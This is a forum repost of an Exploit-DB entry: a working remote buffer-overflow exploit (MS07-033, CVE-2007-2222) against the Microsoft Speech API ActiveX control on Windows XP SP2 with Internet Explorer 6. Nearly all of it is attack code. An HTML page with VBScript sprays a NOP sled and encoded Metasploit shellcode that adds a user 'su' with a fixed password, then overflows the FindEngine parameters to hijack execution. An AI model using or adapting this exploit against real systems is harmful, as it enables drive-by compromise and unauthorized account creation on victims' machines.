Exploit Microsoft Speech API ActiveX Control (Windows XP SP2) - Remote Buffer Overflow (MS07-033)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4066
Проверка EDB
  1. Пройдено
Автор
RGOD
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2007-2222
Дата публикации
2007-06-13
HTML:
<!--
6.30 10/06/2007
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512)
/ DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512)
remote buffer overflow exploit/ xp sp2 version

both dlls are vulnerable, this is the poc for the first one
worked regardless of boot.ini settings, remotely and
by dragging the html file in the browser window
tested against IE 6

by A. Micalizzi (aka rgod )

this is dedicated to Sara, and greetings to shinnai, a good comrade

***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:

http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx

the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp

is still distributed with the kill bit not set
-->

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>

REM metasploit, add a user 'su' with pass 'tzu'
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP

eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))

suntzu = string(888,"A") + ebp + eip + eax + jnk

bufferI   = string(9999999,"X")
bufferII  = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV  = string(9999999,"O")

EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

# milw0rm.com [2007-06-13]
 
Источник
www.exploit-db.com

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